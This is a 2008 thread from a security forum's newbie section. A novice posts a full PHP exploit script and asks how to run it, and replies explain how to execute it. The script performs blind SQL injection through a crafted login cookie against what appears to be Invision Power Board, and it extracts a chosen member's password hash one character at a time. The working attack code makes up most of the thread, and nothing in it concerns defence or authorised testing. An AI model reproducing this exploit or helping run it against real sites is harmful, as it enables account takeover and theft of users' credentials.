Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 10, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 266
Members: 0
Total: 266
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> No0b Help.
Post new topic  Reply to topic View previous topic :: View next topic 
No0b Help.
PostPosted: Sat Mar 01, 2008 5:17 pm Reply with quote
Outlaw
Active user
Active user
 
Joined: Mar 01, 2008
Posts: 37




Well its going to be pretty obvious that I am new to exploits and stuff so please take it easy on me. Wink

Well anyways, i found an exploits from Milworm but i wasnt sure what to do with it.. I have Active Perl but i am certain it is not for Perl because it does not say #!/user/bin/perl. And since it does not say this i am not sure what i need to do to use it. The exploit is...

Code:
<?php
/*
<= 1.3.1 Final
/str0ke
*/

$server = "SERVER";
$port = 80;
$file = "PATH";

$target = 81;

/* User id and password used to fake-logon are not important. '10' is a
random number. */
$id = 10;
$pass = "";

$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++ ) {
        $idx = 0;
        $found = false;

        while( !($found) ) {
                $letter = substr($hex, $idx, 1);

                /* %2527 translates to %27, which gets past magic quotes.
This is translated to ' by urldecode. */
                $cookie =
"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
                $cookie .=
"%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;

                /* Query is in effect: SELECT * FROM ibf_members
                                       WHERE id=$id AND password='$pass' OR
id=$target
                                       HAVING id=$target AND
MID(`password`,$i,1)='$letter' */

                $header = getHeader($server, $port, $file .
"index.php?act=Login&CODE=autologin", $cookie);
                if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',
$header) ) {
                        echo $i . ": " . $letter . "\n";
                        $found = true;

                        $hash .= $letter;
                } else {
                        $idx++;
                }
        }
}

echo "\n\nFinal Hash: $hash\n";

function getHeader($server, $port, $file, $cookie) {
        $ip = gethostbyname($server);
        $fp = fsockopen($ip, $port);

        if (!$fp) {
                return "Unknown";
        } else {
                $com = "HEAD $file HTTP/1.1\r\n";
                $com .= "Host: $server:$port\r\n";
                $com .= "Cookie: $cookie\r\n";
                $com .= "Connection: close\r\n";
                $com .= "\r\n";

                fputs($fp, $com);

                do {
                        $header.= fread($fp, 512);
                } while( !preg_match('/\r\n\r\n$/',$header) );
        }

        return $header;
}
?>


So if you could tell me what to do with it or where to put it that would be great, thanks. Very Happy
View user's profile Send private message
PostPosted: Sat Mar 01, 2008 9:30 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




http://www.milw0rm.com/exploits/1036

It's written in php language, so download and install php, then run script from command prompt.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Mar 09, 2008 3:28 am Reply with quote
Outlaw
Active user
Active user
 
Joined: Mar 01, 2008
Posts: 37




Thanks for your help. Now i have PHP but i am not sure how to open it in php so if you could link me ot a tutorial or explain to me what to do that would be greatly appreciated.
View user's profile Send private message
PostPosted: Sun Mar 09, 2008 1:26 pm Reply with quote
Nial
Advanced user
Advanced user
 
Joined: Feb 29, 2008
Posts: 103




Download easyphp to get a server, launch it, put your php file in the folder WWW in easyphp, launch an internet explorer like firefox, go on 127.0.0.1/yourfile.php (the path where you put it) and it will be execute
View user's profile Send private message
PostPosted: Sun Mar 09, 2008 6:15 pm Reply with quote
Outlaw
Active user
Active user
 
Joined: Mar 01, 2008
Posts: 37




Ahh thanks a bunch!
View user's profile Send private message
No0b Help.
  www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.149 Seconds